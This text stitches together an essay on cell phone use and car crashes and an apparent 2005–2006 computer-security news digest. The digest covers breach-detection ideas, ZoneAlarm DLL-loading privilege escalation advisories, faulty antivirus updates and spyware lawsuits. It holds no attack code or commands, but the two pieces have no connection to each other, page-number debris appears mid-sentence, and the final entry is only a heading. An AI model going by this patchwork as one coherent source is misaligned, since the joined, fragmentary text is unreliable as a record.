Cell phones are involved in a lot of crashes. Best evidence: investigations of actual incidents. One study of 456 accidents in Australia requiring a hospital visit (McEvoy et al, BMJ, 2005) found that in nine percent of cases (40 crashes) the driver had been talking on a cell phone during the ten minutes prior to the accident, based on phone records. The authors conclude, "A person using a mobile phone when driving is four times more likely to have a crash that will result in hospital attendance." A 1997 study of 699 accidents in Toronto (Redelmeier and Tibshirani, New England Journal of Medicine) came to a comparable conclusion.

In another study, researchers at the Virginia Tech Transportation Institute installed cameras, sensors, and data recording equipment in 100 cars, then watched what happened over the ensuing 12 to 13 months. They recorded 69 crashes, 761 near crashes, and 8,295 lesser close calls. Of driver distractions that may have contributed to these incidents, use of cell phones was by far the most common, occurring in close to 700 cases. The distant runner-up was passenger-related activities, presumably including conversation, with fewer than 400 instances. Of the cell-phone-related distractions, 87 involved dialing a handheld phone and 466 talking or listening.

Hands-free phones don't help much. Although laws restricting cell phone use in cars typically make an exception for the hands-free variety, numerous studies show such phones aren't markedly safer. Dialing does make you take your eyes off the road, but as suggested above most cell-phone-related accidents seem to happen while the driver is merely conversing.

Drivers using cell phones have slower reaction times and miss important visual cues. Studies using driving simulators have found that drivers brake slower, fail to see pedestrians and traffic signals, and otherwise pay less attention to the road while on the phone. Some experts compare driving while phoning to driving while drunk, but a study by folks at the University of Utah (Strayer et al, 2004) suggests that in certain respects drunks actually do better behind the wheel than phone users--they seem to stay closer to the speed limit and brake faster in response to braking vehicles ahead. All in all, there's solid evidence that talking on the phone is among the more dangerous things you can do while driving.

. . . .

27.1 Vulnerability assessment

Category 27.1 *Vulnerability assessment*

2005-04-27 **data leakage loss confidentiality control database privacy personal information audit test procedure risk management**

RISKS 23 87

COMPROMISE-DETECTION TEST FOR PERSONAL-INFORMATION DATABASES

Pekka Pihlajasaari wrote from South Africa about an excellent method for detecting compromise of personal-information databases:

Many articles documenting the risks of exposure of personally identifiable information bemoan the possibility of compromise. There seems to be very little quantitative information on the number of cases where the information is used inappropriately.

If a selection of unused social security numbers were identified as probes, these could be used by credit bureaux and other large databases as proxies for compromise. Any use of these numbers would be positive confirmation of breach of the related database, and an indication of the rate at which harvested numbers are utilised. While this does pollute the datasets with incorrect data, this provides an in-band mechanism to detect misuse. The practise has been in use by mailing list rental companies to count the number of times a list is used.

The low occurrence of the probes makes wholesale harvesting easy to detect and difficult for the harvester to protect themselves against. This risk, of course, is that the list of probe numbers is compromised!

[MK notes that criminals' creation and fraudulent use of fake SSNs that happened to match the probes would trigger false positives in this system, but that problem does not invalidate the method proposed as a useful tool.]

27.4 Firewalls & other perimeter defenses

Category 27.4 *Firewalls & other perimeter defenses*

2006-03-09 **Zone Labs ZoneAlarm Security Suite privilege escalation vulnerabilities**

DHS IAIP Daily; http://www.securiteam.com/windowsntfocus/5IP012KI0K.html

EIGHTEEN WAYS TO ESCALATE PRIVILEGES IN ZONE LABS ZONEALARM SECURITY SUITE.

A locally exploitable security vulnerability in Zone Labs ZoneAlarm Security Suite allows normal users to elevate their privileges. Analysis: Instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process. This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Vulnerable product: Zone Labs ZoneAlarm Security Suite build 6.1.744.000. Patches/Workarounds: The vendor was notified several times but there was no response.

Category 27.4 *Firewalls & other perimeter defenses*

2006-03-13 **ZoneAlarm personal firewall software TrueVector Service local privilege escalation vulnerability no solution**

DHS IAIP Daily; http://www.frsirt.com/english/advisories/2006/0947

ZONEALARM TRUEVECTOR SERVICE LOCAL PRIVILEGE ESCALATION VULNERABILITY

A vulnerability has been identified in ZoneAlarm, which could be exploited by malicious users to obtain elevated privileges. Analysis: The error in the TrueVector service ("VSMON.exe") that loads certain Dynamically Linked Libraries (DLL) in an insecure manner, which could be exploited by local attackers to execute arbitrary commands with SYSTEM privileges by placing a malicious DLL in a specific directory. Affected product: ZoneAlarm versions 6.x. Solution: The FrSIRT is not aware of any official supplied patch for this issue.

27.7 Anti-malware technology

Category 27.7 *Anti-malware technology*

2005-01-06 **Microsoft anti-spyware tool download antivirus viruses malware Microsoft McAfee Symantec**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=7260250

MICROSOFT LAUNCHES ANTISPYWARE TOOL

Microsoft this week began offering a test version of an antispyware application for download. The company had been promising such a tool for some time, and it will debut an antivirus tool next week for cleaning viruses and other malware from computers. A spokesperson for Microsoft also said it will begin offering a service called "A1" that will provide users with updates to these tools. Microsoft has been working to improve the security standards of its products, and the company's new tools represent its extension of those efforts into the software security market currently led by companies including McAfee and Symantec. Shares of both of those companies' stock fell sharply on the news of Microsoft's new security tools.

Category 27.7 *Anti-malware technology*

2005-01-14 **Microsoft anti-virus malware Stephen Cobb Chey Cobb**

NewsScan;

SAFE & SOUND IN THE CYBER AGE

"Microsoft the Security Company?"
by Stephen Cobb and Chey Cobb

Ever wonder why car companies don't make tires? A new Porsche doesn't come with Porsche tires even though Porsche engineers are some of the smartest in the world. We recently bought an almost-new Nissan and it came with the original tires, made by Goodyear. Of course, there are close relationships between car companies and tire companies, and they all have to work together on a variety of constantly evolving standards to make sure that the rubber that meets the roads fits the wheels on the wagon, so to speak. What has this got to do with computer security? Some alert NewsScan readers will have guessed already: Microsoft has planted its feet firmly in the computer security business. Now think of Microsoft as the GM of computing (actually a closer approximation of Microsoft's position in the IT world would be a mega-GM that had absorbed Ford, Toyota, Honda, and Daimler Chrysler). In other words, Microsoft makes most of the world's operating system software and most of the world's application software, which together make up the "cars" we are talking about. The safety of those cars, the rubber on the road in our analogy, is currently entrusted to a wide range of companies, big and small, companies like Symantec, Computer Associates, McAfee, Trend Micro, ZoneAlarm, Sygate, Grisoft, et al. These companies make their money selling products that help us to use Microsoft's products without skidding, crashing, or otherwise going off the virtual highway. For the most part they manage to perform this function without negatively impacting performance or the usability of our systems, while constantly evolving to meet new threats, many of which arise from defects in the very car they ride on, Microsoft's Windows OS and Office applications. However, through a series of recent announcements, Microsoft has indicated that it would like a slice of the revenue these security companies earn from protecting users of Microsoft products. Some Wall Street analysts have declared that this is a good move for Microsoft, and bad news for all those security companies that will lose market share to Microsoft. Given the slavish, sheep-like manner in which some investors follow the words of Wall Street analysts, it could indeed be good news for Microsoft, a sort of self-fulfilling investment prophecy, until the world wakes up to what a bad idea it is for Microsoft to make the tires for its cars. The last time Microsoft tried this, the results, for users, were dismal. Of course, these days it is hard to find a Wall Street analyst with a memory longer than the last four quarters, so you probably won't see many references to Microsoft's 1993 vintage Anti-Virus for DOS in current discussions of Microsoft's security ventures (but you can find a very detailed critique of the product, written about ten years ago by the late Yisrael Radai of the Hebrew University of Jerusalem, at cobb.com/pclan, or just Google "MSAV"). We would like to quote from the first paragraph of this review: "The very fact that such software [Microsoft AV] is supplied with DOS makes it likely that it will become one of the most widely used AV packages in the world and the de facto standard, regardless of its quality. Precisely for this reason, it will be specifically targeted by virus writers. If there are any weaknesses whatsoever in the software, they will be ruthlessly exploited by these people." In fact, Microsoft's implementation of anti-virus back then was so bad it never gained traction in the market place, but that does not undermine the serious implications of Mr. Radai's very astute observations. During the last ten years Microsoft has become more effective at forcing its software on users -- flaws and all (you will know this if you have ever tried to remove Internet Explorer from your Windows computer). Of course, today's malicious code writers frequently target products by Symantec, McAfee, et al. But the very fact that there is still an "et al." provides a depth of protection that will be eroded by any further expansion of Microsoft into the security arena. Perhaps the best outcome will be a repeat of the Firefox phenomenon, in which increasingly sophisticated users decide that the best way to deal with systemic security flaws in Microsoft's browser is to use a different browser. This has already produced a significant decline in market share for Internet Explorer. Heck, with Apple now selling a very powerful Mac for less than $500, complete with cool applications like Garage Band and Appleworks, some people may decide to drive the Internet highway in a completely different vehicle, on tires of their own choosing. [Chey Cobb, CISSP, wrote "Network Security for Dummies" and has provided computer security advice to numerous intelligence agencies. Her e-mail address is chey at soteira dot org. Stephen Cobb, CISSP, wrote "Privacy for Business" and helped launch several successful security companies. He can be reached as scobb at cobb dot com.]

Category 27.7 *Anti-malware technology*

2005-02-08 **Microsoft acquire antivirus maker Sybari Software viruses worms threats security Romanian company GeCAD Software Giant Software Company business technology**

EDUPAGE; http://www.nytimes.com/2005/02/09/technology/09soft.html

MICROSOFT TO ACQUIRE ANTIVIRUS MAKER

Microsoft has announced plans to acquire privately held Sybari Software, maker of software that protects against viruses, worms, and other threats. Microsoft has purchased other companies as part of its efforts to increase security, including a Romanian antivirus company, GeCAD Software, in 2003 and antispyware maker Giant Software Company in December of last year. Mike Nash, corporate vice president in Microsoft's security business and technology unit, said that with the latest purchase, Microsoft will begin offering stand-alone antivirus products. He said the company would soon offer a product based on Sybari technology and geared toward business customers. Other products designed to protect PCs from Web-based attacks will follow, though Nash did not provide a time frame for those applications.

Category 27.7 *Anti-malware technology*

2005-02-16 **Bill Gates IE anti-spyware conference security Microsoft Internet Explorer browser flaws operating systems**

EDUPAGE; http://online.wsj.com/article/0,,SB110848565696255359,00.html

GATES PROMISES NEW IE, FREE ANTISPYWARE

Speaking at a computer-security conference in San Francisco, Microsoft Chairman Bill Gates outlined a number of steps the company will take to address growing security concerns over its products. This summer, Microsoft will release a test version of Internet Explorer 7, the first major update of its browser in four years. Microsoft's browser has been the target of strong criticism for its security flaws. Gates said IE 7 will include antispyware tools for no extra cost, though other officials from Microsoft said the company would offer a paid subscription service to help consumers "manage" antispyware efforts. Gates also said the company would offer a range of antivirus products by the end of the year, which is later than many analysts had expected. Officials from competing computer-security companies said Microsoft's offering similar products by itself is not a source of great concern; rather, it is Microsoft's ability to bundle such tools with its operating systems that worries them. Gregor Freund, chief technology officer at Check Point Software, said if Microsoft bundles spyware with Windows, it is "playing a game that no one else can play." Wall Street Journal, 16 February 2005 (sub. req'd)

Category 27.7 *Anti-malware technology*

2005-04-26 **denial of service software quality assurance QS antivirus signature file endless CPU loop reboot update**

RISKS 23 85

MAJOR DAMAGE CAUSED BY BAD UPDATE FILE FOR TRENDMICRO ANTIVIRUS

TrendMicro released a defective antivirus update file on 23 Apr 2005 that was picked up automatically by many users in Japan. The bad file caused a CPU loop that consumed 100% of the processor time on Windows XP SP2 and Windows 2003 Server systems. Effects reported to RISKS by Chiaki Ishikawa included (as examples of many others)

- JR railway reservation division could not check the reservation status (fed via network to PCs?) and so diverted (telephone) inquiring customers to manned counters at railway stations;

- Kyodo wire service could not send out automatic wire service news for a few hours, and so resorted to send out important news via FAX (I believe that the initial news articles from Kyodo was sent in this manner);

- Osaka subway system saw its computer to distribute accident information to its stations failed to reboot; and

- Toyama city's election committee could not handle advance voting for its mayoral and city alderman elections on their computer and had to resort to manual processing.

Category 27.7 *Anti-malware technology*

2006-02-01 **technology companies cooperation anti-spyware CSA Labs McAfee Symantec Thompson Cyber Security Labs Trend Micro**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4669304.stm

FIVE COMPANIES COOPERATE AGAINST SPYWARE

A group of computer security companies is cooperating on an initiative to help consumers combat the growing problem of spyware, which is estimated to be increasing by 50 to 100 percent per year. ICSA Labs, McAfee, Symantec, Thompson Cyber Security Labs, and Trend Micro will initially offer tools that will help users identify spyware on their systems and effectively remove it. That effort will involve developing a common naming scheme for malicious programs and a coordination of various removal tools. Later, the five members of the group will work on tools that can help users avoid spyware in the first place. A related effort called Stop Badware was announced recently by Google, Sun Microsystems, the Berkman Center for Internet and Society, and the Oxford Internet Institute.

Category 27.7 Anti-malware technology

2006-03-06 **Internet browser safe surfing MIT SiteAdvisor color-coded security rating**

DHS IAIP Daily; http://www.smh.com.au/news/breaking/new−safety−net−for−web−s urfers/2006/03/06/1141493583941.html

NEW SAFETY NET FOR WEB SURFERS.

A fresh approach to "safe surfing" has been dreamt up by a group of Massachusetts Institute of Technology engineers involved in a crusade to make the Internet a safer place for their friends and families. The result of their labors is a product called SiteAdvisor which labels particular Websites with a color-coded security rating to help users identify those that might contain spyware, spam, viruses, and online scams. The millions of Websites on the Internet are trawled using sophisticated computer "robots" that can intelligently analyze the safety of a given destination. The tool then presents its findings alongside search engines such as Google, Yahoo! or MSN and labels results as either green, yellow or red. SiteAdvisor: http://www.siteadvisor.com/preview/

Category 27.7 Anti-malware technology

2006-03-13 **McAfee antivirus update DAT programming error file deletion update issued**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,109525,00.html?SKC=security−109525

MCAFEE ANTIVIRUS UPDATE WREAKS HAVOC.

A faulty antivirus update from McAfee Inc. that mistakenly identified hundreds of programs as a Windows virus has resulted in some companies accidentally deleting significant amounts of data from affected computers. The McAfee update (DAT 4715) released on Friday, March 10, was designed to protect computers against the W95/CTX virus. But because of a programming error, the update also incorrectly identified, renamed and quarantined hundreds of legitimate executables. For companies that had configured their McAfee antivirus program to automatically delete bad files, the error resulted in the loss of hundreds, and in some cases even thousands, of files on systems in which the update had been installed, said Johannes Ullrich, chief technology officer at the SANS Internet Storm Center in Bethesda, MD. McAfee released a new patch (DAT 4716) updating the earlier one, five hours later.

28.1 Spyware, Web bugs & cookies

Category 28.1 *Spyware, Web bugs & cookies*

2005-01-04 **online marketer halt spyware litigation Sanford Wallace FTC deceptive software secretly installed**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?&storyID=7235820

ONLINE MARKETER AGREES TO HALT SPYWARE DURING LITIGATION

Alleged spyware kingpin Sanford Wallace has agreed to stop distributing spyware pending the resolution of charges filed against him and two of his companies by the Federal Trade Commission (FTC). In October, the FTC charged Wallace with deceptive trade practices, saying that Wallace's companies, Seismic Entertainment Productions and SmartBot.Net, distributed software that was secretly installed on users' computers. The software would cause problems on computers where it was installed and would then display pop-up ads for programs to remove the spyware. Under an agreement filed with the U.S. District Court in New Hampshire, Wallace, who does not admit guilt, does agree to halt the practice of secretly installing spyware while the litigation is proceeding. Wallace and his companies are still allowed to display pop-up ads.

Category 28.1 *Spyware, Web bugs & cookies*

2005-01-07 **Microsoft anti-spyware Windows**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A54902-2005Jan6.html

MICROSOFT OFFERS ANTI-SPYWARE SOFTWARE

In a move indicating its increasing interest in the security market, Microsoft is giving away software designed to protect Windows users from spyware (programs that transmit information about the user without his or her knowledge). Industry analysts believe the company will eventually enter the market for computer security software, and George Kafkarkou of Computer Associates says that Microsoft's entry into the antispyware arena brings "validation" to that marketplace. (Washington Post 7 Jan 2005)

Category 28.1 *Spyware, Web bugs & cookies*

2005-04-29 **lawsuit litigation spyware insidious software New York vs. California Internet company Intermix Media**

DHS IAIP Daily; http://www.nytimes.com/2005/04/29/nyregion/29internet.html

NEW YORK SUES CALIFORNIA INTERNET COMPANY ON USE OF SPYWARE

A broad investigation into Internet abuses led the New York attorney general to file a lawsuit on Thursday, April 28, accusing a California company of clogging computers across the nation with secretly installed spyware and adware, which can vex users and impede the flow of commerce on the Web. The attorney general, Eliot Spitzer, sued Intermix Media, a large Internet marketing firm, accusing it of embedding "several types of invasive and annoying" programs on its Web domains that can pop up, route users to unwanted sites or link them to Intermix's services and clients. In recent years, companies have tried to sneak what consumer advocates call parasitic software into computers that tracks users' browsing habits, but government inquiries into such practices have been rare, said Ben Edelman, a Harvard University researcher who studies spyware. An official with Intermix, in a statement posted on Thursday on the company's Website, said that the company neither promoted nor condoned spyware, and that many of the practices being challenged by Mr. Spitzer began under the company's previous leadership.

Category 28.1 *Spyware, Web bugs & cookies*

2005-04-29 **spyware installation lawsuit New York Attorney General Intermix Media state law violation**

EDUPAGE; http://www.nytimes.com/2005/04/29/nyregion/29internet.html

SPITZER FILES SUIT AGAINST MARKETING FIRM FOR SPYWARE

New York Attorney General Eliot Spitzer has filed suit against California-based Intermix Media for installing spyware on millions of computers. The marketing company, which conceded that previous owners indeed distributed spyware, is accused of violating state laws concerning false advertising, deceptive business practices, and trespassing. The state is seeking injunctions barring the company from distributing any more spyware; an accounting of revenues the company realized from the spyware; and fines of $500 for each act of installing spyware. A statement from the company said that it voluntarily stopped installing spyware recently and that no personal information was ever collected with the secretly installed software. The statement hinted at trying to reach a settlement with New York, a resolution that observers said is a typical outcome of situations like this one. New York Times, 29 April 2005 (registration req'd)

Category 28.1 *Spyware, Web bugs & cookies*

2005-05-24 **spyware malicious code installation affiliate program Russia business iframeDOLLARS**

EDUPAGE; http://www.techweb.com/wire/security/163700705

SPREADING SPYWARE THROUGH AN AFFILIATE PROGRAM

A business based in Russia is adopting the affiliate-program approach to spreading spyware around the globe. Called iframeDOLLARS, the company is offering Web site operators 6.1 cents for every computer on which the Web site installs code that exploits vulnerabilities in Windows and Internet Explorer. Microsoft has issued patches for the weaknesses, but unpatched computers remain at risk. The malicious code includes backdoors, Trojans, spyware, and adware. Operators of the iframeDOLLARS site claim to have paid out nearly $12,000 last week alone, which would translate to nearly 200,000 infected computers. Although spyware expert Richard Stiennon called the tactic "brazen" and said iframeDOLLARS might be making quite a bit of money from its scheme, Dan Hubbard, the head of security at Websense, gave iframeDOLLARS less credit. He noted that the company has been around for a while, trying various methods to install malicious code, and he said a number of others have tried similar affiliate programs to accomplish the same thing. TechWeb, 24 May 2005

Category 28.1 *Spyware, Web bugs & cookies*

2005-06-03 **spam anti-spam Anti-Spyware Coalition definition spyware Center for Democracy and Technology**

EDUPAGE; http://software.silicon.com/malware/0,3800003100,39130956,00.htm

SPAM FIGHTERS FORM NEW COALITION

A new group tentatively called the Anti-Spyware Coalition plans to publish guidelines to define spyware, best practices for software development, and a lexicon of common terms by the end of the summer. The guidelines will be open to public comment. The Center for Democracy and Technology, a public advocacy group based in Washington, is running the new initiative. The coalition formed two months after the collapse of the Consortium of Anti-Spyware Technology Vendors, which admitted a company suspected of making adware. According to David Fewer, staff counsel at the Ottawa-based Canadian Internet Policy and Public Interest Clinic, which is affiliated with the new consortium, judging whether software is spyware comes down to notice, consent, and control. Many adware and spyware products fail to meet all three requirements. Silicon.com, 3 June 2005

Category 28.1 *Spyware, Web bugs & cookies*

2005-06-15 **spyware malicious insidious software program anti-spyware lawsuit litigation New York Attorney General Eliot Spitzer**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8798165

SPYWARE CHARGES RESULT IN $7.5 MILLION SETTLEMENT

California-based Intermix Media will pay New York State $7.5 million over three years to settle a spyware lawsuit. In the suit, New York Attorney General Eliot Spitzer had charged the company with violating state false-advertising and deceptive-practices laws. Intermix acknowledged that it formerly distributed software that was surreptitiously installed on users' computers, though as part of the settlement the company admitted no wrongdoing. Intermix had previously suspended the distribution of the software at issue; with the settlement, the company will permanently discontinue the practice. Intermix has also created a position of chief privacy officer since the lawsuit was originally filed, and officials from the company said they have cooperated with federal regulators. Reuters, 15 June 2005

Category 28.1 *Spyware, Web bugs & cookies*

2005-06-17 **spyware adware BitTorrent application distribution P2P peer-to-peer downloads**

DHS IAIP Daily; http://tech.nytimes.com/cnet/CNET_2100−7349_3−5750601.html

SPYWARE AND ADWARE IN BITTORRENT DOWNLOADS

Purveyors of the applications that produce pop-up ads on PC screens and track browsing habits have discovered BitTorrent as a new distribution channel. BitTorrent has grown into one of the most widely used means of downloading files such as movies or software. According to observers of the trend, videos and music that hide adware and spyware are increasingly being offered for 11 download on various BitTorrent Websites. Both spyware and adware are known to hurt PC performance because they use PC resources to run. Alex Eckelberry, president of Sunbelt Software, a maker of anti-spyware software stated: "[This] is a major concern. It is going to riddle your system with pop-ups, slow your system down and potentially cause system instability." The downloaded files typically were self-extracting archives that would also install the unwanted software, said Chris Boyd, a security researcher who runs the Vital Security Website. In most cases, users would be presented with a dialog box advising that the extra software was about to be installed and given the impression that the install was needed to get access to the desired content, he said.

Category 28.1 *Spyware, Web bugs & cookies*

2005-06-20 **spyware malicious code dissemination method drive-by download iFrameDollars.biz**

DHS IAIP Daily; http://www.eweek.com/article2/0,1759,1829174,00.asp

DRIVE-BY DOWNLOAD SITES CHAUFFEUR SPYWARE

Increasingly, spyware is making its way onto users' systems through so-called drive-by-download sites using nefarious methods that circumvent disclosure. One example is iFrameDollars.biz, which claims to be a Website affiliate company just for drive-by sites, using a model similar to aboveboard affiliate networks such as Commission Junction and LinkShare. The Website's "Terms" page says that iFrameDollars.biz pays 55 cents per install or $55 for 1,000 unique installs of a three KB program that "changes the homepage and installs toolbar and dialer." Website operators interested in joining the iFrameDollars.biz network must submit a URL for their Websites, an estimate of their daily traffic and the account number for an online payment service such as E-gold. In exchange, they are sent a small piece of HTML code containing the iFrame exploit, which the site owners are expected to attach to their pages. Web surfers who visit those pages using vulnerable versions of Windows or Microsoft Corp.'s Internet Explorer Web browser have iFrameDollars.biz's programs silently installed. In addition to distributing malicious code and adware through its affiliates, iFrameDollars.biz uses pop-up messages to tempt users into buying nonexistent software programs, taking a cut of any sales.

Category 28.1 *Spyware, Web bugs & cookies*

2005-07-12 **spyware Anti-Spyware Coalition definition**

EDUPAGE; http://news.com.com/2100-1029_3-5783926.html

COALITION TO RELEASE SPYWARE DEFINITION

The recently created Anti-Spyware Coalition is set to release a definition of spyware. According to officials from the group, the first step toward dealing with the growing problem of spyware and adware is to define very clearly what it is. The group's proposed definition, which the public can comment on until August 12, identifies spyware as software that is installed without adequate notification and that monitors computer users' activities. The group also proposes a broader definition that would include software that interferes with users' abilities to properly control their systems. Critics of the group's definitions argue that makers of spyware and adware stand to benefit the most from such a definition because it clearly delineates what they could do and get away with. After the comment period is closed, officials of the Anti-Spyware Coalition will incorporate the best suggestions into the final definitions. CNET, 12 July 2005

Category 28.1 *Spyware, Web bugs & cookies*

2005-10-05 **FTC Odysseus Marketing spyware malicious insidious software distribution anonymous file trading Google Yahoo lawsuit Kazanon**

EDUPAGE; http://msnbc.msn.com/id/9598897/

FTC SUES FOR ALLEGED SPYWARE

The Federal Trade Commission (FTC) has sued Odysseus Marketing, accusing the company of engaging in distributing spyware. Odysseus distributed an application called Kazanon, which supposedly allowed users to trade files anonymously, without fear of being identified by record companies. According to the FTC, users who downloaded the application also got a range of adware programs that fed advertisements to those users' computers and added items to the search results pages of popular search engines, including Google and Yahoo. The added items, which were indistinguishable from those supplied by the search engine, directed users to companies that paid Odysseus for the placement. Further, the software did not offer users a simple option to uninstall it. Walter Rines, owner of Odysseus, disputed all of the FTC's claims. He noted that the user agreement informs consumers of what will be installed when they download the Kazanon program. He also said an uninstall tool is available and that his company's software did not remove any search results but merely added to the list. Rines also said the lawsuit was "moot" because his company stopped distributing adware several weeks ago. MSNBC, 5 October 2005

Category 28.1 *Spyware, Web bugs & cookies*

2005-10-27 **anti-spyware malicious insidious software coalition guidelines**

EDUPAGE; http://news.com.com/2100-7348_3-5918113.html

ANTI-SPYWARE COALITION RELEASES GUIDELINES

The Anti-Spyware Coalition has released a definition of what constitutes spyware, as well as guidelines for dealing with spyware. The group's definition says that spyware is an application installed without sufficient consent of the user and that interferes with the user's ability to exert control over such things as security, privacy and personal information, and system resources. Critics had cautioned that a definition of spyware would allow developers of unwanted software to simply sidestep the characteristics included in the definition, thereby legitimizing their applications. The Anti-Spyware Coalition said it understands that concern and drafted a definition with enough latitude to avoid that problem. The group also identified good practices for how organizations should identify and prevent spyware. Included in the resources is guidance on how to rate the severity of particular spyware applications. The group will accept public comments on the newly released documents until November 27 and will release final versions in early 2006. CNET, 27 October 2005

Category 28.1 Spyware, Web bugs & cookies

2005-11-14 **FTC shut down spyware business social engineering**

DHS IAIP Daily; http://www.govtech.net/news/news.php?id=97252

FEDERAL TRADE COMMISSION SHUTS DOWN SPYWARE OPERATION

An operation that uses the lure of free lyric files, browser upgrades, and ring tones to download spyware and adware on consumers' computers has been ordered to halt its illegal downloads by a U.S. District Court at the request of the Federal Trade Commission (FTC). The court also halted the deceptive downloads of an affiliate who helped spread the malicious software by offering blogs free background music. The music code downloaded by the blogs was bundled with a program that flashed warnings to consumers about the security of their computer systems. Consumers who opted to upgrade by clicking, downloaded the spyware onto their computers. The FTC complaint alleges that the Websites of the defendants and their affiliates cause "installation boxes" to pop up on consumers' computer screens. In one variation of the scheme, the installation boxes offer a variety of "freeware," including music files, cell phone ring tones, photographs, wallpaper, and song lyrics. In another, the boxes warn that consumers' Internet browsers are defective, and claim to offer free browser upgrades or security patches. Consumers who download the supposed freeware or security upgrades do not receive what they are promised; instead, their computers are infected with spyware.

Category 28.1 Spyware, Web bugs & cookies

2005-12-01 **Adware company lawsuit high risk label Zone Labs**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5979179.html

ADWARE COMPANY QUIBBLES WITH LABEL

A company that makes and distributes adware has filed a lawsuit against a computer security company that identifies the adware company's products as "high risk." The adware purveyor, 180solutions, contends that Zone Labs erred in saying that some of 180solutions's applications try to monitor mouse movements and keystrokes. Although some of its applications employ a technology that could be used in such a manner, those applications do not in fact work that way, according to 180solutions. Representatives from 180solutions said they tried to explain the situation to Zone Labs but were forced to file the lawsuit when Zone Labs refused to remove the applications in question from its list of high-risk tools. Eric Howes, a spyware researcher at the University of Illinois, said that despite its protestations, 180solutions remains "a perfectly legitimate target for anti-spyware companies." According to Howes, security professionals continue to "find unethical and illegal installations of 180's software." ZDNet, 1 December 2005

Category 28.1 Spyware, Web bugs & cookies

2006-01-05 **FTC settlement bogus anti-spyware scheme malicious insidious software malware CAN-SPAM spam Spyware Assassin Spykiller fraud**

EDUPAGE; http://www.internetnews.com/bus-news/article.php/3575421

FTC WINS SETTLEMENT FOR BOGUS ANTISPYWARE SCHEME

The operators of two supposed antispyware products agreed to pay nearly $2 million to settle complaints by the Federal Trade Commission (FTC) that the products amounted to nothing more than a scam. Last year, the FTC charged the operators of Spykiller and Spyware Assassin with running similar schemes to defraud consumers. According to the FTC, both companies used pop-up ads and e-mail to draw consumers to the companies' Web sites, where users could supposedly receive free scans of their machines. After the scans reported spyware, which frequently did not exist, users were offered a spyware-removal service for around $30-40. The removal also did not do what was advertised, said the FTC. In addition, many of the e-mail messages violated provisions of the CAN-SPAM Act. The makers of Spyware Assassin agreed to pay $76,000, which represents the amount the FTC spent on its investigation. Makers of Spykiller will pay $1.9 million.

Category 28.1 Spyware, Web bugs & cookies

2006-03-20 **spyware adware panel roots online advertising**

DHS IAIP Daily;
http://www.infoworld.com/article/06/03/20/76629_HNspywarepan el_1.html

PANEL EXPLORES ROOTS OF SPYWARE, ADWARE.

Following the money trail behind the flood of spyware and adware on the Internet poses some sticky questions around liability, said a panel of spyware experts at a workshop in New York City Friday, March 17. Legal experts, government officials and technology professionals gathered at New York University School of Law to discuss the causes of and solutions to unwanted software programs that track Internet users' behavior. One panelist suggested that companies advertising online should develop more thorough policies to control where their ads go on the Internet.

Category 28.1 *Spyware, Web bugs & cookies*

2006-03-20 **adware spyware software manufacturer Badware Watch List Center for Democracy and Technology CDT Stopbadware Coalition**

DHS IAIP Daily;
http://www.infoworld.com/article/06/03/20/76595_HNbadware_1. html

TOUGH WEEK AHEAD FOR 'BADWARE' COMPANIES.

The fight against invasive software will take a step forward this week as the Center for Democracy and Technology (CDT) and the Google-backed Stopbadware Coalition will release two separate reports that state the names of undesirable software programs and the advertisers who help fund them. On Monday, March 20, the CDT will publish its report on the major advertisers who are behind so-called "adware" software. Two days later, the Stopbadware Coalition is set to release its first report, which will name several software programs to its Badware Watch List.

Category 28.1 *Spyware, Web bugs & cookies*

2006-03-21 **spyware trail Kazaa advertisers StopBadware.org Google Badware Report**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1940747,00.asp

SPYWARE TRAIL LEADS TO KAZAA, BIG ADVERTISERS.

The StopBadware.org coalition, funded by Google, has listed the Kazaa file-sharing application at the top of a list of noxious software programs that present a threat to business and consumer users. The coalition, which counts Sun Microsystems and Lenovo among its sponsors, will recommend in its inaugural Badware Report that users stay away from Kazaa and three other programs that can be combined with Trojans and bots for use in data theft attacks. Adware and spyware programs that come bundled with peer-to-peer applications present a huge security risk to corporate networks, and StopBadware.org says Kazaa's claim to be spyware-free cannot be trusted. In addition to Kazaa, StopBadware.org said computer users should stay away SpyAxe, a rogue anti-spyware program; MediaPipe, a download manager that offers access to media content; and Waterfalls 3, a screensaver utility. StopBadware.org Report: http://www.stopbadware.org/pdfs/badwarev1r3.pdf

---

Category 28.1 *Spyware, Web bugs & cookies*

2006-03-24 **do-it-yourself spyware kit sale Russian Website WebAttacker SophosLabs**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1942497,00.asp

DO-IT-YOURSELF SPYWARE KIT SELLS FOR $20.

A do-it-yourself malware creation kit is being hawked on a Russian Website for less than $20, according to security researchers tracking the seedier side of the Internet. Virus hunters at SophosLabs discovered the spyware kit, called WebAttacker, on a Website run by self-professed spyware and adware developers. The WebAttacker kit includes scripts that simplify the task of infecting computers and spam-sending techniques to lure victims to specially rigged Websites.

Category 28.1 *Spyware, Web bugs & cookies*

2006-04-07 **rogue anti-spyware application warning SurfControl UnSpyPC false positive**

DHS IAIP Daily; http://www.theregister.co.uk/2006/04/07/unspypc/

WARNING OVER ROGUE ANTI-SPYWARE APPLICATION.

A rogue anti-spyware application is falsely identifying popular security products and file system tools as spyware. Security firm SurfControl advises not to use the application, UnSpyPC. False-positive reporting is hardly unknown across many supposed anti-spyware applications, as SurfControl notes, but this case is particularly severe since UnSpyPC could disable critical security and business applications.

Category 28.1 *Spyware, Web bugs & cookies*

2006-04-19 **bogus fake anti-spyware software sales fraud fine**

DHS IAIP Daily;
http://www.sophos.com/pressoffice/news/articles/2006/04/spyw arechen.html

HEFTY FINE FOR MAN WHO MARKETED BOGUS ANTI-SPYWARE SOFTWARE.

